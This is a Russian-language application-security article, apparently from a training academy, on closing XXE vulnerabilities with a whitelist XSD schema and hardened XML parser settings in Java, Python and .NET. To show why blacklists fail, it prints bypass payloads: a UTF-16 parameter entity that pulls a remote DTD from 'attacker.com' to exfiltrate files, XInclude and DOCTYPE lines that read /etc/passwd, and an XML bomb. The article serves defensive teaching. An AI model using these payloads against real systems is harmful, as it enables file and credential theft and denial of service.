Как закрыть XXE уязвимость через whitelist-схему — и почему blacklist обходится за минуты

На аудите Java-приложения, которое обрабатывало платёжные документы в XML, я нашёл XXE за двумя слоями защиты. Regex-фильтр отсекал строки SYSTEM и PUBLIC в теле запроса, WAF блокировал паттерн <!ENTITY. Обход занял меньше часа: параметрическая сущность с UTF-16 кодировкой прошла оба фильтра и вернула конфигурационный файл с credentials базы данных. Проблема не в качестве фильтров — в самом подходе. Blacklist по определению неполон, и атакующий всегда найдёт вариант, который в нём не учтён.
Дальше разберу, как закрыть XXE уязвимость правильно — через whitelist-схему на основе XSD и отключение опасных функций парсера. Покажу конкретные bypass-техники, из-за которых blacklist бесполезен, и дам готовые конфиги для Java, Python и .NET.
Где XXE уязвимость стоит в цепочке атаки
Прежде чем лезть в код — стоит понять, зачем атакующему XXE и что он с ней делает дальше.
XXE (XML External Entity) — уязвимость, при которой XML-парсер обрабатывает ссылки на внешние ресурсы, встроенные в XML-документ. По классификации OWASP она входит в категорию A05:2021 — Security Misconfiguration и описывается в CWE-611 (Improper Restriction of XML External Entity Reference). Если встречаете CWE-идентификатор впервые: это каталог типов уязвимостей, где каждый номер соответствует конкретному классу ошибки. Последствия CWE-611 бьют по трём направлениям: утечка данных (чтение файлов приложения), обход защитных механизмов и отказ в обслуживании через исчерпание ресурсов.
В терминах MITRE ATT&CK (открытая база тактик и техник атак — T-коды вроде T1190 идентифицируют конкретные техники) XXE используется на нескольких этапах:
- Initial Access — Exploit Public-Facing Application (T1190). Атакующий отправляет вредоносный XML через API, форму загрузки файлов или SOAP-эндпоинт. Это точка входа.
- Collection — Data from Local System (T1005). Через XXE читаются локальные файлы сервера:
/etc/passwd, конфигурации, исходный код. - Credential Access — Credentials In Files (T1552.001). Главная цель — файлы с паролями и ключами:
.env,application.properties,web.config, SSH-ключи (Private Keys — T1552.004).
Бизнес-логика атаки простая: XXE — не конечная цель, а инструмент для эскалации. Прочитал конфиг → достал пароль от БД → получил доступ к данным клиентов. Или: прочитал приватный ключ → залогинился по SSH → закрепился на сервере. Кроме чтения файлов, XXE позволяет проводить SSRF (Server-Side Request Forgery — атака, при которой сервер отправляет HTTP-запросы от своего имени по адресу, указанному атакующим). Через SSRF добираются до внутренних сервисов, облачных метаданных AWS/GCP/Azure и ресурсов, недоступных из интернета.
Почему blacklist не защищает от XXE атак
Типичная реакция разработчика на XML External Entity уязвимость — добавить фильтр. Заблокировать строки <!ENTITY, SYSTEM, PUBLIC, <!DOCTYPE на уровне приложения или WAF (Web Application Firewall — фильтр HTTP-трафика, блокирующий подозрительные запросы по паттернам). На первый взгляд логично: если атакующий не может вставить <!ENTITY xxe SYSTEM "file:///etc/passwd">, атака не пройдёт. На практике этот подход ломается минимум тремя способами.
Blacklist обход XXE через кодировки и параметрические сущности
XML поддерживает несколько кодировок. Если blacklist-фильтр проверяет строку в UTF-8, а парсер принимает UTF-16 — фильтр не увидит ничего подозрительного, потому что байтовое представление тех же символов различается. Достаточно указать <?xml version="1.0" encoding="UTF-16"?> в заголовке и отправить тело в соответствующей кодировке.
Ещё один способ — параметрические сущности. Это специальный тип XML-сущности, определяемый через символ % и используемый только внутри DTD (Document Type Definition — секция XML-документа, описывающая его структуру). Вместо обычной <!ENTITY xxe SYSTEM "..."> атакующий использует <!ENTITY % xxe SYSTEM "...">. Параметрическая сущность раскрывается внутри DTD, а не в теле документа, поэтому многие фильтры и WAF-правила её не ловят — они ищут паттерн &xxe; в данных, а параметрическая сущность работает иначе.
[Применимо: внешний пентест, любые приложения с XML-эндпоинтами]
Пример bypass-пейлоада с внешним DTD (DTD external entity), который проходит blacklist на <!ENTITY и SYSTEM:
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root>&exfil;</root>
Файл evil.dtd на сервере атакующего содержит определение сущности exfil, которая читает нужный файл. Blacklist на стороне приложения видит только ссылку на удалённый DTD, но не сам payload — содержимое загружается с внешнего сервера уже на этапе парсинга.
Вложенный DOCTYPE и XInclude как обход защиты
Если фильтр блокирует <!DOCTYPE, атакующий может использовать XInclude — механизм XML для включения содержимого одного документа в другой. XInclude не требует секции DOCTYPE и работает через собственное пространство имён. Атака выглядит как обычный XML-элемент с атрибутом href, указывающим на файл: <xi:include parse="text" href="file:///etc/passwd"/>. Многие blacklist-фильтры XInclude не распознают, потому что ищут паттерны DTD, а не XInclude-директивы.
По данным OWASP XML External Entity Prevention Cheat Sheet, XInclude особенно опасен, когда приложение вставляет пользовательские данные в серверный XML-документ (например, SOAP-запрос). Атакующий не контролирует DOCTYPE, но может внедрить XInclude-элемент в любое поле данных.
Когда blacklist НЕ работает: — Парсер принимает кодировки, отличные от UTF-8 (UTF-16, ISO-8859-1) — Приложение загружает внешние DTD (по умолчанию во многих Java-парсерах) — Включён XInclude (по умолчанию в некоторых конфигурациях) — WAF проверяет тело запроса, но не проверяет загружаемые файлы (DOCX, XLSX, SVG — все содержат XML внутри, согласно исследованию YesWeHack)
Фильтрация строк не решает проблему, потому что XML — не плоская строка, а дерево с собственной грамматикой, кодировками и механизмами подстановки. Blacklist обход XXE — вопрос времени и креативности.
Whitelist схема XML: как закрыть XXE уязвимость правильно
Подход whitelist принципиально другой: вместо попыток заблокировать всё вредоносное (бесконечное множество) описывается конечное множество допустимого. Для XML это делается через XSD (XML Schema Definition — формальная схема, описывающая допустимые элементы, атрибуты и типы данных в XML-документе).
XSD-валидация: разрешаем только ожидаемое
Допустим, приложение принимает XML с заказами. Ожидаемая структура: элемент order с дочерними itemId (целое число) и quantity (положительное целое). Whitelist-схема описывает ровно эту структуру и отклоняет всё остальное:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="order">
<xs:complexType>
<xs:sequence>
<xs:element name="itemId" type="xs:integer"/>
<xs:element name="quantity" type="xs:positiveInteger"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
Этот XSD — и есть whitelist. Он разрешает только элементы order, itemId и quantity с конкретными типами данных. Любой XML, содержащий <!DOCTYPE>, внешние сущности или неожиданные элементы, будет отклонён валидатором ещё до того, как парсер начнёт раскрывать сущности.
Ключевой момент: XSD-схема хранится на сервере, а не загружается из входящего XML. Если парсер настроен на валидацию по локальной схеме и запрещает удалённые — атакующий не может подменить или обойти whitelist. AccountableHQ подчёркивает это в контексте healthcare-систем: «Apply strict schema validation with only internal schemas; avoid remote schema or DTD retrieval.»
Работает если: XSD хранится локально; парсер запрещает загрузку удалённых схем и DTD; валидация происходит до обработки данных.
Не работает если: приложение принимает XML с произвольной структурой (нет фиксированного формата); XSD загружается из самого XML-документа (атакующий подменит ссылку).
Отключение внешних сущностей XML — необходимый минимум
Whitelist-схема — верхний уровень защиты от XXE атак, но сама по себе она не отключает обработку сущностей в парсере. Согласно OWASP Cheat Sheet, минимальные правила hardening для любого XML-парсера:
- Запретить DOCTYPE целиком
- Запретить внешние сущности (external entities)
- Запретить загрузку внешних DTD
- Включить режим безопасной обработки (secure processing mode)
- Отключить XInclude
- Ограничить расширение сущностей — защита от XML Bomb, она же Billion Laughs. Если не встречали: это атака, при которой вложенные сущности экспоненциально разрастаются и потребляют всю оперативную память сервера. Пять уровней вложенности — и парсер съедает гигабайты RAM за секунды.
Эти правила применяются поверх XSD-валидации. Схема отсекает невалидные документы, отключение сущностей нейтрализует атаки, которые могут пройти до этапа валидации — некоторые парсеры раскрывают сущности до применения схемы.
Безопасный парсинг XML: secure coding по вендорам
Конкретные флаги и методы зависят от языка и библиотеки. Ниже — проверенные конфигурации для трёх стеков, взятые из OWASP XML External Entity Prevention Cheat Sheet и официальной документации.
Java: DocumentBuilderFactory и SAXParserFactory
Java-парсеры исторически включают обработку внешних сущностей по умолчанию. Это делает Java-приложения особенно уязвимыми — OWASP подтверждает: «Since most Java XML parsers have XXE enabled by default, this language is especially vulnerable.»
Основной флаг — disallow-doctype-decl. Он полностью запрещает DOCTYPE в документе, что блокирует и внешние сущности, и XML Bomb:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder safeBuilder = dbf.newDocumentBuilder();
Если полностью запретить DOCTYPE нельзя (legacy-формат требует DTD для валидации — такое встречается в банковских интеграциях и SOAP-сервисах), нужно отключить внешние сущности отдельно. Флаги http://xml.org/sax/features/external-general-entities и http://xml.org/sax/features/external-parameter-entities устанавливаются в false. Дополнительно — http://apache.org/xml/features/nonvalidating/load-external-dtd в false, чтобы парсер не загружал DTD по ссылке из документа. Каждый вызов setFeature() оборачивайте в отдельный try/catch — разные реализации парсера (Xerces 1, Xerces 2, встроенный JAXP) поддерживают разные наборы флагов, и без этого приложение может упасть на незнакомом feature.
Для XMLInputFactory (StAX-парсер): factory.setProperty(XMLInputFactory.SUPPORT_DTD, false) и factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false).
Альтернативный подход — No-op EntityResolver: устанавливается кастомный EntityResolver, который возвращает пустой InputSource для любой сущности. Это защита на уровне callback — даже если парсер попытается разрешить сущность, resolver ничего не вернёт.
[Применимо: Java 6+, Apache Xerces, встроенный JAXP-парсер]
Предусловия: работает на JDK 6+ с JAXP. Для Oracle DOM Parser используются другие методы: setAttribute() вместо setFeature().
Python: lxml и defusedxml
Стандартный xml.etree.ElementTree в Python не обрабатывает внешние сущности по умолчанию — безопасен «из коробки» для базовых сценариев. Проблемы начинаются с lxml, который построен поверх C-библиотеки libxml2.
Для lxml безопасный парсинг настраивается через аргументы XMLParser: resolve_entities=False отключает раскрытие сущностей, no_network=True запрещает сетевые обращения. Собирается в одну строку: parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False).
Более надёжный вариант — библиотека defusedxml. Она оборачивает стандартные парсеры Python и блокирует все опасные функции: внешние сущности, DTD, XInclude, Billion Laughs. Установка через pip install defusedxml, использование: defusedxml.ElementTree.parse(source) вместо xml.etree.ElementTree.parse(source). Drop-in замена, логику менять не нужно.
[Применимо: Python 3.6+, libxml2 >= 2.9 (XXE отключён по умолчанию с этой версии, но resolve_entities стоит выставить явно)]
Ограничение: defusedxml не поддерживает lxml — только стандартные парсеры (ElementTree, minidom, sax). Для lxml настраивайте XMLParser вручную.
.NET: XmlReaderSettings
Поведение зависит от версии фреймворка. В .NET Framework 4.5.2+ и .NET Core/5+ класс XmlReader по умолчанию не обрабатывает DTD (DtdProcessing.Prohibit). Но старый код на .NET Framework 4.0 и ниже уязвим, если явно не настроен.
Безопасная конфигурация: создать XmlReaderSettings с DtdProcessing = DtdProcessing.Prohibit и XmlResolver = null. Первый флаг запрещает DTD-обработку, второй отключает разрешение внешних ресурсов (файлов, URL). Затем передать settings в XmlReader.Create(stream, settings).
Для XmlDocument (DOM-парсер) — установить XmlResolver = null перед вызовом Load(). Для устаревшего XmlTextReader — DtdProcessing = DtdProcessing.Prohibit. В совсем старом коде, где DtdProcessing отсутствует, используется deprecated-свойство ProhibitDtd = true.
[Применимо: .NET Framework 4.0+, .NET Core 1.0+, .NET 5+]
Предусловия: в .NET Framework < 4.5.2 свойство DtdProcessing может отсутствовать. В новых версиях DTD запрещён по умолчанию, но XmlResolver может быть не null — проверяйте явно.
Практика: закрываем XXE уязвимость в реальном приложении за три шага
Минимальный чеклист для приложения, принимающего XML. Конкретные флаги для Java, Python и .NET описаны выше.
Требования к окружению:
— Доступ к исходному коду приложения и возможность деплоя изменений
— Инструмент для тестирования: Burp Suite Community (бесплатный) или curl для отправки XML-запросов
— Знание формата XML, который приложение ожидает (список элементов, типы данных)
— ОС: любая (Linux/Windows/macOS); для тестирования достаточно 2 ГБ RAM
Шаг 1. Отключить обработку DTD и внешних сущностей в парсере
Откройте код, где создаётся XML-парсер. В Java ищите DocumentBuilderFactory.newInstance(), SAXParserFactory.newInstance(), XMLInputFactory.newInstance(). В Python — etree.XMLParser() или xml.etree.ElementTree.parse(). В .NET — XmlReader.Create(), new XmlDocument(). Добавьте флаги безопасности из раздела выше.
Как проверить: отправьте в приложение XML с DOCTYPE-инъекцией: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><root>&xxe;</root>. При правильной настройке — ошибка парсинга (в Java: DOCTYPE is disallowed; в .NET: DtdProcessing is set to Prohibit). Если в ответе имя хоста сервера — DTD-обработка не отключена.
Шаг 2. Создать XSD-схему (whitelist) для ожидаемого формата
Опишите в XSD все допустимые элементы, атрибуты и типы данных. Схема хранится на сервере — не в XML-запросе. Подключите валидацию в парсере: в Java — через SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI) с загрузкой XSD из локального файла и вызовом schema.newValidator().validate(source); в Python через lxml — etree.XMLSchema(etree.parse("schema.xsd")) и schema.validate(doc).
Как проверить: отправьте XML с дополнительным элементом, не описанным в XSD (например, <malicious>test</malicious>). Ожидаемый результат — ошибка валидации: элемент не разрешён схемой. Если запрос проходит — XSD не подключена или настроена на мягкую валидацию.
Шаг 3. Протестировать обход
Отправьте набор тестовых пейлоадов: (1) классический XXE с SYSTEM "file:///etc/passwd"; (2) параметрическую сущность с внешним DTD; (3) XInclude с href="file:///etc/passwd"; (4) XML в кодировке UTF-16 с DOCTYPE; (5) XML Bomb из 5–6 уровней вложенности сущностей. Для каждого пейлоада ожидаемый результат — ошибка парсера или отклонение валидатором. Если хотя бы один вернул данные или вызвал зависание — защита неполная.
Для автоматизации — Burp Suite с расширением для XXE-тестирования из BApp Store или XXEinjector из командной строки: он генерирует варианты пейлоадов с разными кодировками и техниками обхода. На HackerLab.pro есть задачи в категории web, где можно отработать именно эту механику — подготовка пейлоадов и валидация обхода на живом стенде помогает закрепить навык намного крепче, чем чтение теории.
Ограничения whitelist-схемы и когда нужны дополнительные меры
Whitelist-схема + отключение DTD покрывают подавляющее большинство сценариев AppSec XML безопасности. Но есть случаи, когда этого недостаточно.
Произвольный XML без фиксированной структуры. Если приложение принимает XML с заранее неизвестной схемой (универсальный конвертер или middleware), XSD-валидация невозможна. Основная защита — отключение DTD и сущностей на уровне парсера, плюс egress filtering: запрет исходящих соединений от сервиса к произвольным адресам.
Файлы-контейнеры с XML внутри. По данным YesWeHack, форматы DOCX, XLSX, PPTX и SVG — ZIP-архивы, содержащие XML. Если приложение принимает загрузку документов, XXE может скрываться внутри Office-файла. XSD-валидация основного API не защитит — нужно настраивать безопасный парсинг для каждой библиотеки обработки документов (Apache POI в Java, OpenXML SDK в .NET).
Content-Type switching. Некоторые фреймворки (Spring Boot, Express) автоматически переключаются на XML-парсер, если заголовок Content-Type изменён с application/json на application/xml — даже если разработчик не проектировал XML-эндпоинт. Whitelist-схема не поможет, если вы не знаете, что парсер вообще существует. Контрмера: явно ограничить допустимые Content-Type на уровне контроллера или gateway.
Legacy-системы с обязательным DTD. SOAP-сервисы, банковские интеграции, HL7/CDA в медицине — местами невозможно полностью запретить DOCTYPE. Здесь работает комбинация: запрет внешних сущностей + запрет сетевых обращений парсера + ограничение глубины вложенности + мониторинг парсер-ошибок как индикаторов атаки.
Большинство разработчиков, которых я встречал на code review, пытаются «починить» XXE через regex или строковые фильтры. Не потому что не хватает квалификации — потому что это первое, что приходит в голову: вижу вредоносную строку, блокирую. Фильтровать XML как строку — всё равно что проверять SQL-инъекцию поиском слова SELECT: работает ровно до первого sElEcT или Unicode-трюка.
XSD-схема решает задачу на правильном уровне абстракции: описывает не «что запрещено» (бесконечный список), а «что разрешено» (конечный whitelist). Отключение сущностей на уровне парсера убирает сам механизм, через который атака возможна. Два слоя, каждый самодостаточен, вместе дают defense in depth.
Но есть неудобная реальность: в каждом третьем проекте, где я видел XXE, причиной был не отсутствующий флаг, а парсер, о существовании которого разработчик не знал. Spring Boot тихо десериализует XML, если в classpath лежит Jackson XML module. Apache POI парсит XML внутри XLSX. SVG-аватарка проходит через XML-парсер. Поэтому главный шаг — не «добавить флаг», а провести инвентаризацию всех точек, где приложение касается XML. Без этого любая защита фрагментарна. Если хочешь выстроить эту базу системно, а не собирать по кускам из статей — на IB Basics берут с любого старта, без условий «вы должны знать Linux на уровне X».
Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.